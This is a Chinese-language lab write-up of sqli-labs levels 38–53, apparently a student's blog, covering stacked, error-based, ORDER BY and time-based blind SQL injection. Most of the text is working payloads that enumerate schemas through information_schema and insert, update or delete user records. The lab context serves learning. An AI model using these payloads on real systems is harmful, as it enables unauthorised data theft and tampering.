sqli-labs通关38-53

SQL注入初步学习

Posted by Sprint#51264 on October 23, 2020

less 38(GET堆叠注入)

  • 原理 从别人的博客摘下来一些

    堆叠注入讲解

    国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。

     在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

  • 步骤 1.测试闭合根据错误信息了解为双引号

    2.进行查数据库行为,前面的半句还可以像以往一样随便查,但是可以加;再次接一句,进行增删查改

    样例payload:

    ?id=-1' union select 1,2,username where table_schema=database(); insert into users values('15','test','test') --+

    BEkdns.jpg


less 39(GET堆叠注入数字型)

  • 原理

    原理见上

  • 步骤

    样例payload:

    ?id=-1 union select 1,2,3;delete from users where username='test' --+

    这里我删除了上一题创建的test用户


    # less 40(GET堆叠注入盲注)

    • 原理

    如果要利用盲注的话,还是用延时或者布尔条件判断,手工注入时间很长

    如果要结合堆叠注入,还是加分号添加语句

    • 步骤 1.测试出来闭合方式是’)

    2.然后我又使用了38的方法,发现也可以查询,也可以插入数据,貌似没有什么改变

    尝试了 insert update delete语句都可

    除了闭合方式改变了


less 41(上题的int型)

  • 原理 数字型没有单引号包括

  • 步骤

    所以说,还和上次的一样

    样例payload:

    ?id=-1 union select 1,2,3 ; update users%20 set username='eeee' where id=16 --+

    id=16语句是我之前就插入的


less 42(POST基于错误的字符型堆叠注入)

  • 原理

    这回有点提示了

    BEuo1P.jpg

    利用堆叠注入自己创建一个账户

  • 步骤

    1.尝试在用户名处进行注入,最后还是无果,查看了源码

    BEM5sf.jpg

    发现在username上有个mysql_real_escape_string函数,但是对password没有过滤

    并且对其用单引号闭合,所以决定从password下手,经测试

    注释符不能用–+ 但是#可以用

    2.在password处进行显示位的注入,发现如果位置成功就会出现这个页面,一共三个显示位

    payload:

    -1' union select 1,2,3 #

    BEQfk4.jpg

    3.爆库

    -1' union select 1,database(),3 #

    4.爆表

    -1' union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='security' #

    5.爆列名 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

    所以说到这里就发现用户表是users了

    那么我们就用堆叠注入向其中插入一条用户数据

    6.插数据

    -1';insert into users values('17','yep','yep') #

    虽然显示的是错误画面,但是!想要的数据已经被插入进去了√

    结果请自行查看数据库 ***

    less 43(同上)

  • 原理

    相比于42改变闭合方式

  • 步骤

    将闭合方式改为’)

    其余步骤同上一题,不再赘述


less 44(POST基于报错的字符型堆叠盲注)

  • 原理

    与42的唯一区别就是没有报错信息,需要自己尝试,不过也没有什么区别,发现42题用到的语句照样使用

  • 步骤

    闭合方式为’单引号,剩余的爆库查表查列名一样,最后再用堆叠注入插进一条数据

    over


less 45(POST基于报错的字符型堆叠盲注)

  • 原理

    又是改变了闭合方式,经过之前的题目考验应该都了解得差不多

    这次的闭合方式是’),其余的…与之前完全一样

    样例payload:

    -1') union select 1,2,3 # ***

less 46(ORDER BY数字型报错注入)

  • 原理

    题目是将输入的内容插入到ORDER BY语句中进行输出的

  • 步骤

    发现一个非常新颖的题型

    按照题目给的提示给sort赋一个值发现

    BEUEUP.jpg

    连续给sort=1;2;3发现

    表中内容分别随第一列第二列第三列改变

    当传入4时发现报错

    BEUQDs.jpg

    报错内容和oder by语句一样,也就是说,sort被插入到order by后面了

    1.于是我们可以利用报错注入爆出数据库名

    ?sort=4 and updatexml(1,concat(0x7c,(select database()),0x7c),1) --+

    2.爆表名

    ?sort=1 and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.columns where table_schema='security' and table_name ),0x7c),1) --+

    没有爆出来想要的就用not in逐个过滤一下,直到剩下users表

    3.爆列名

    ?sort=1 and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='users'%20 ),0x7c),1) --+


less 47(ORDER BY 字符型报错注入)

  • 原理

    还是和上一题一样的配方,一样的味道,就是改了一下闭合方式

  • 步骤

    由于是字符型的,采用单引号闭合,其余步骤同上

    样例payload:

    ?sort=1' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='users'%20 ),0x7c),1) --+ ***

    less 48(ORDER BY注入数字型盲注)

  • 原理

    没有报错信息了,需要进行盲注

    需要用到那几个熟悉函数

    length(),left(),substr(0,0,0),ascii(),还有if(),sleep()

  • 步骤

    这一题使用延时盲注解决

    获取长度

    1 and if(length(database())=8,sleep(5),0)–+

    获取值

    1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))–+


less 49(ORDER BY盲注)

  • 步骤

    获取长度 1 and if(length(database())=8,sleep(5),0)–+ 获取值 1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))–+


less 50(基于报错的ORDER BY堆叠注入)

  • 原理

    还是盲注,有错误提醒,也可以报错注入,还要结合堆叠注入

  • 步骤

    1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

    ?sort=1;insert into users values(18,'uuu','uuu') ***

    less 51(基于报错的ORDER BY字符串型堆叠注入)

  • 原理

    改变了闭合方式,仍旧是盲注加堆叠注入的方式

  • 步骤 样例payload:

    ?sort=1';insert into users values(18,'uuu','uuu')


less 52(ORDER BY盲注堆叠注入)

  • 原理

    也不能报错注入,只能堆叠注入盲注,延时注入

  • 步骤

    ?sort=1 and if(length(database())=8,sleep(5),0) --+


less 53(上一题的字符型)

就是改变了闭合方式,其余的不再赘述

样例payload:

`4' and if(length(database()) = 8 ,0,sleep(6)) --+`

`1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1`

`1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) and '1'='1`